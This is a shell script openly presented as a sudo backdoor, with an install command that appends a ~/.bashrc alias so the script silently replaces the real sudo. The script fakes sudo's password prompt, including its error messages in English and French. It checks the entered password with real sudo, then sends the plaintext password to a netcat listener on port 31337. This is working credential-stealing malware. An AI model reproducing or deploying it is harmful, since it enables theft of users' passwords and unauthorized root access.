Sudo backdoor script.

'echo 'alias sudo="/somewhere/in/the/filesystem/sudo"' >> ~/.bashrc'  to implement. Not tested yet.

Possible_sudo_bkdoor.sh

@@ -0,0 +1,73 @@
+#/bin/bash
+
+#Show usage if no options are given
+if [ "$#" -eq 0 ];then
+	/usr/bin/sudo
+	exit 1
+elif [ "$1" == "-h" ];then
+	/usr/bin/sudo -h
+	exit 0
+fi
+
+#Check if user has a valid sudo session
+/usr/bin/sudo -n true 2>/dev/null
+if [ $? -eq 0 ];then
+	#User has a sudo session. Don't ask again
+	/usr/bin/sudo $@
+	result=$?
+	#Exit correctly depending on the result
+	exit $result
+fi
+
+#Get locale language
+LANG=$(locale | grep 'LANG=' | cut -d'=' -f2)
+
+#Set prompt and error messages
+#French messages
+if [[ $(echo $LANG | grep 'fr') ]];then
+	prompt_msg="[sudo] Mot de passe de $(whoami) :"
+	fail_msg="Désolé, essayez de nouveau."
+	incorrect_msg="saisies de mots de passe incorrectes"
+#English messages
+#Make english the default language 
+else
+	prompt_msg="[sudo] password for $(whoami) :"
+	fail_msg="Sorry, try again."
+	incorrect_msg="incorrect password attempts"
+fi
+
+attempts=0
+
+#Show number of incorrect attempts when user hits Ctrl-C
+trap ctrl_c INT
+
+function ctrl_c() {
+	echo
+	if [ "$attempts" -ne 0 ];then
+		echo "sudo: "$attempts" "$incorrect_msg
+	fi
+	exit 1
+}
+
+while [ "$attempts" -le 2 ]; do
+	echo -n $prompt_msg" "
+	read -s passwd
+	echo
+	attempts=$((attempts+1))
+	echo $passwd | /usr/bin/sudo -S true > /dev/null 2>&1
+	result=$?
+	if [ "$result" -eq 1 ];then
+		if [ "$attempts" -eq 3 ];then
+			echo "sudo: "$attempts" "$incorrect_msg
+			exit 1
+		else
+			echo $fail_msg
+		fi
+	elif [ "$result" -eq 0 ];then
+		echo $passwd | /usr/bin/sudo -S $@
+		break
+	fi
+done
+
+echo $passwd | nc localhost 31337 &
+exit 0